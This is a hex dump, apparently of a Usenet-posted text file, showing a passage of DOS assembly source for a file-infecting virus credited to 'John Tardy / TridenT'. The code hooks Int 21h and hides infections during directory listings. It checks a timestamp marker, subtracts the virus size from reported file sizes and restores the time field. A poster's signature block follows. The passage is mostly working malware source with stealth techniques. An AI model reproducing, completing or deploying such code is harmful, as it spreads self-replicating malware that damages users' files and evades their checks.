|000020c0| 74 65 61 6c 74 68 3a 0d | 0d 0a 09 09 63 61 6c 6c |tealth:.|....call|
|000020d0| 20 20 20 20 43 61 6c 6c | 49 6e 74 32 31 0d 0d 0a | Call|Int21...|
|000020e0| 09 09 63 6d 70 20 20 20 | 20 20 61 6c 2c 30 20 20 |..cmp | al,0 |
|000020f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002100| 20 20 3b 44 69 64 20 63 | 61 6c 6c 20 77 6f 72 6b | ;Did c|all work|
|00002110| 3f 0d 0d 0a 09 09 6a 6e | 65 20 20 20 20 20 4e 6f |?.....jn|e No|
|00002120| 53 74 65 61 6c 74 68 0d | 0d 0a 09 09 63 61 6c 6c |Stealth.|....call|
|00002130| 20 20 20 20 47 65 74 44 | 54 41 0d 0d 0a 09 09 63 | GetD|TA.....c|
|00002140| 6d 70 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |mp b|yte ptr |
|00002150| 65 73 3a 5b 62 78 5d 2c | 30 46 46 68 20 20 20 3b |es:[bx],|0FFh ;|
|00002160| 45 78 74 65 6e 64 65 64 | 20 46 43 42 3f 0d 0d 0a |Extended| FCB?...|
|00002170| 09 09 6a 6e 65 20 20 20 | 20 20 41 66 74 65 72 46 |..jne | AfterF|
|00002180| 43 42 41 64 6a 75 73 74 | 0d 0d 0a 09 09 61 64 64 |CBAdjust|.....add|
|00002190| 20 20 20 20 20 62 78 2c | 38 0d 0d 0a 0d 0d 0a 41 | bx,|8......A|
|000021a0| 66 74 65 72 46 43 42 41 | 64 6a 75 73 74 3a 0d 0d |fterFCBA|djust:..|
|000021b0| 0a 09 09 6d 6f 76 20 20 | 20 20 20 61 6c 2c 65 73 |...mov | al,es|
|000021c0| 3a 5b 62 78 2b 31 36 68 | 5d 20 20 20 20 20 20 20 |:[bx+16h|] |
|000021d0| 20 20 20 3b 47 65 74 20 | 74 69 6d 65 20 73 74 61 | ;Get |time sta|
|000021e0| 6d 70 0d 0d 0a 09 09 61 | 6e 64 20 20 20 20 20 61 |mp.....a|nd a|
|000021f0| 6c 2c 31 46 68 0d 0d 0a | 09 09 63 6d 70 20 20 20 |l,1Fh...|..cmp |
|00002200| 20 20 61 6c 2c 31 46 68 | 20 20 20 20 20 20 20 20 | al,1Fh| |
|00002210| 20 20 20 20 20 20 20 20 | 20 20 3b 69 6e 66 65 63 | | ;infec|
|00002220| 74 65 64 3f 0d 0d 0a 09 | 09 6a 6e 65 20 20 20 20 |ted?....|.jne |
|00002230| 20 44 6f 6e 65 46 43 42 | 53 74 65 61 6c 74 68 0d | DoneFCB|Stealth.|
|00002240| 0d 0a 0d 0d 0a 09 09 73 | 75 62 20 20 20 20 20 77 |.......s|ub w|
|00002250| 6f 72 64 20 70 74 72 20 | 65 73 3a 5b 62 78 2b 31 |ord ptr |es:[bx+1|
|00002260| 43 68 5d 2c 32 38 37 68 | 20 3b 53 75 62 74 72 61 |Ch],287h| ;Subtra|
|00002270| 63 74 20 76 69 72 75 73 | 20 73 69 7a 65 0d 0d 0a |ct virus| size...|
|00002280| 09 09 73 62 62 20 20 20 | 20 20 77 6f 72 64 20 70 |..sbb | word p|
|00002290| 74 72 20 65 73 3a 5b 62 | 78 2b 31 45 68 5d 2c 30 |tr es:[b|x+1Eh],0|
|000022a0| 20 20 20 20 3b 61 64 6a | 75 73 74 20 66 6f 72 20 | ;adj|ust for |
|000022b0| 63 61 72 72 79 0d 0d 0a | 09 09 6a 6d 70 20 20 20 |carry...|..jmp |
|000022c0| 20 20 73 68 6f 72 74 20 | 52 65 73 65 74 54 69 6d | short |ResetTim|
|000022d0| 65 0d 0d 0a 0d 0d 0a 48 | 61 6e 64 6c 65 53 74 65 |e......H|andleSte|
|000022e0| 61 6c 74 68 3a 0d 0d 0a | 09 09 63 61 6c 6c 20 20 |alth:...|..call |
|000022f0| 20 20 43 61 6c 6c 49 6e | 74 32 31 0d 0d 0a 09 09 | CallIn|t21.....|
|00002300| 6a 63 20 20 20 20 20 20 | 4e 6f 53 74 65 61 6c 74 |jc |NoStealt|
|00002310| 68 20 0d 0d 0a 09 09 63 | 61 6c 6c 20 20 20 20 47 |h .....c|all G|
|00002320| 65 74 44 54 41 20 20 20 | 20 20 20 0d 0d 0a 09 09 |etDTA | .....|
|00002330| 6d 6f 76 20 20 20 20 20 | 61 6c 2c 65 73 3a 5b 62 |mov |al,es:[b|
|00002340| 78 2b 31 36 68 5d 20 20 | 20 20 20 20 20 20 20 20 |x+16h] | |
|00002350| 20 20 20 20 3b 47 65 74 | 20 66 69 6c 65 20 74 69 | ;Get| file ti|
|00002360| 6d 65 0d 0d 0a 09 09 61 | 6e 64 20 20 20 20 20 61 |me.....a|nd a|
|00002370| 6c 2c 31 46 68 0d 0d 0a | 09 09 63 6d 70 20 20 20 |l,1Fh...|..cmp |
|00002380| 20 20 61 6c 2c 31 46 68 | 0d 0d 0a 09 09 6a 6e 65 | al,1Fh|.....jne|
|00002390| 20 20 20 20 20 44 6f 6e | 65 46 43 42 53 74 65 61 | Don|eFCBStea|
|000023a0| 6c 74 68 0d 0d 0a 09 09 | 73 75 62 20 20 20 20 20 |lth.....|sub |
|000023b0| 77 6f 72 64 20 70 74 72 | 20 65 73 3a 5b 62 78 2b |word ptr| es:[bx+|
|000023c0| 31 41 68 5d 2c 32 38 37 | 68 20 20 20 3b 53 75 62 |1Ah],287|h ;Sub|
|000023d0| 74 72 61 63 74 20 76 69 | 72 75 73 20 73 69 7a 65 |tract vi|rus size|
|000023e0| 0d 0d 0a 09 09 73 62 62 | 20 20 20 20 20 77 6f 72 |.....sbb| wor|
|000023f0| 64 20 70 74 72 20 65 73 | 3a 5b 62 78 2b 31 43 68 |d ptr es|:[bx+1Ch|
|00002400| 5d 2c 30 20 20 20 20 20 | 20 3b 61 64 6a 75 73 74 |],0 | ;adjust|
|00002410| 20 66 6f 72 20 63 61 72 | 72 79 0d 0d 0a 0d 0d 0a | for car|ry......|
|00002420| 52 65 73 65 74 54 69 6d | 65 3a 0d 0d 0a 09 09 78 |ResetTim|e:.....x|
|00002430| 6f 72 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |or b|yte ptr |
|00002440| 65 73 3a 5b 62 78 2b 31 | 36 68 5d 2c 31 30 68 20 |es:[bx+1|6h],10h |
|00002450| 20 20 20 3b 52 65 73 74 | 6f 72 65 20 74 69 6d 65 | ;Rest|ore time|
|00002460| 20 74 6f 20 6e 6f 72 6d | 2e 0d 0d 0a 0d 0d 0a 44 | to norm|.......D|
|00002470| 6f 6e 65 46 43 42 53 74 | 65 61 6c 74 68 3a 0d 0d |oneFCBSt|ealth:..|
|00002480| 0a 09 09 70 6f 70 20 20 | 20 20 20 65 73 20 62 78 |...pop | es bx|
|00002490| 20 61 78 0d 0d 0a 09 09 | 70 6f 70 66 0d 0d 0a 20 | ax.....|popf... |
|000024a0| 20 0d 0d 0a 4e 6f 53 74 | 65 61 6c 74 68 3a 0d 0d | ...NoSt|ealth:..|
|000024b0| 0a 09 09 72 65 74 66 20 | 20 20 20 32 20 0d 0d 0a |...retf | 2 ...|
|000024c0| 0d 0d 0a 43 61 6c 6c 49 | 6e 74 32 31 3a 0d 0d 0a |...CallI|nt21:...|
|000024d0| 09 09 70 75 73 68 66 0d | 0d 0a 09 09 63 61 6c 6c |..pushf.|....call|
|000024e0| 20 20 20 20 64 77 6f 72 | 64 20 70 74 72 20 63 73 | dwor|d ptr cs|
|000024f0| 3a 5b 4f 6c 64 49 6e 74 | 32 31 2d 73 74 61 72 74 |:[OldInt|21-start|
|00002500| 5d 0d 0d 0a 09 09 72 65 | 74 6e 0d 0d 0a 0d 0d 0a |].....re|tn......|
|00002510| 53 74 6f 72 61 67 65 5f | 42 79 74 65 73 3a 20 20 |Storage_|Bytes: |
|00002520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0d 0d | | ..|
|00002530| 0a 09 09 6e 6f 70 0d 0d | 0a 09 09 69 6e 74 20 20 |...nop..|...int |
|00002540| 20 20 20 32 31 68 0d 0d | 0a 09 09 0d 0d 0a 46 69 | 21h..|......Fi|
|00002550| 6c 65 6e 61 6d 65 20 20 | 20 20 20 20 20 20 64 62 |lename | db|
|00002560| 20 20 20 20 20 20 38 20 | 64 75 70 20 28 30 29 0d | 8 |dup (0).|
|00002570| 0d 0a 09 09 64 62 20 20 | 20 20 20 20 27 2e 27 0d |....db | '.'.|
|00002580| 0d 0a 45 78 74 65 6e 73 | 69 6f 6e 20 20 20 20 20 |..Extens|ion |
|00002590| 20 20 64 62 20 20 20 20 | 20 20 33 20 64 75 70 20 | db | 3 dup |
|000025a0| 28 30 29 0d 0d 0a 09 09 | 64 62 20 20 20 20 20 20 |(0).....|db |
|000025b0| 30 0d 0d 0a 0d 0d 0a 46 | 69 6c 65 41 74 74 72 69 |0......F|ileAttri|
|000025c0| 62 73 20 20 20 20 20 64 | 77 20 20 20 20 20 20 30 |bs d|w 0|
|000025d0| 0d 0d 0a 46 69 6c 65 54 | 69 6d 65 20 20 20 20 20 |...FileT|ime |
|000025e0| 20 20 20 64 77 20 20 20 | 20 20 20 30 0d 0d 0a 46 | dw | 0...F|
|000025f0| 69 6c 65 44 61 74 65 20 | 20 20 20 20 20 20 20 64 |ileDate | d|
|00002600| 77 20 20 20 20 20 20 30 | 0d 0d 0a 0d 0d 0a 4a 75 |w 0|......Ju|
|00002610| 6d 70 5f 42 79 74 65 73 | 20 20 20 20 20 20 64 62 |mp_Bytes| db|
|00002620| 20 20 20 20 20 20 30 45 | 39 68 2c 20 30 30 68 2c | 0E|9h, 00h,|
|00002630| 20 30 30 68 0d 0d 0a 0d | 0d 0a 41 75 74 68 6f 72 | 00h....|..Author|
|00002640| 4e 61 6d 65 20 20 20 20 | 20 20 64 62 20 20 20 20 |Name | db |
|00002650| 20 20 27 20 4a 6f 68 6e | 20 54 61 72 64 79 20 2f | ' John| Tardy /|
|00002660| 20 54 72 69 64 65 6e 54 | 20 27 0d 0d 0a 0d 0d 0a | TridenT| '......|
|00002670| 65 6e 64 20 20 20 20 20 | 73 74 61 72 74 0d 0d 0a |end |start...|
|00002680| 0d 0d 0a 0d 0d 0a 2d 2d | 0d 0d 0a 45 72 69 63 20 |......--|...Eric |
|00002690| 22 4d 61 64 20 44 6f 67 | 22 20 4b 69 6c 62 79 20 |"Mad Dog|" Kilby |
|000026a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000026b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000026c0| 6d 61 64 64 6f 67 40 63 | 63 73 2e 6e 65 75 2e 65 |maddog@c|cs.neu.e|
|000026d0| 64 75 0d 0d 0a 54 68 65 | 20 47 72 65 61 74 20 53 |du...The| Great S|
|000026e0| 70 6f 72 6b 65 75 73 20 | 4d 61 78 69 6d 75 73 09 |porkeus |Maximus.|
|000026f0| 09 09 20 20 20 20 20 65 | 6b 69 6c 62 79 40 6c 79 |.. e|kilby@ly|
|00002700| 6e 78 2e 64 61 63 2e 6e | 65 75 2e 65 64 75 0d 0d |nx.dac.n|eu.edu..|
|00002710| 0a 53 74 75 64 65 6e 74 | 20 61 74 20 74 68 65 20 |.Student| at the |
|00002720| 4e 6f 72 74 68 65 61 74 | 73 74 65 72 6e 20 55 6e |Northeat|stern Un|
|00002730| 69 76 65 72 73 69 74 79 | 20 43 6f 6c 6c 65 67 65 |iversity| College|
|00002740| 20 6f 66 20 43 6f 6d 70 | 75 74 65 72 20 53 63 69 | of Comp|uter Sci|
|00002750| 65 6e 63 65 20 0d 0d 0a | 22 49 20 43 61 6e 27 74 |ence ...|"I Can't|
|00002760| 20 42 65 6c 69 65 76 65 | 20 49 74 27 73 20 4e 6f | Believe| It's No|
|00002770| 74 20 42 75 74 74 65 72 | 22 0d 0d 0a 0d 0d 0a |t Butter|"...... |
+--------+-------------------------+-------------------------+--------+--------+
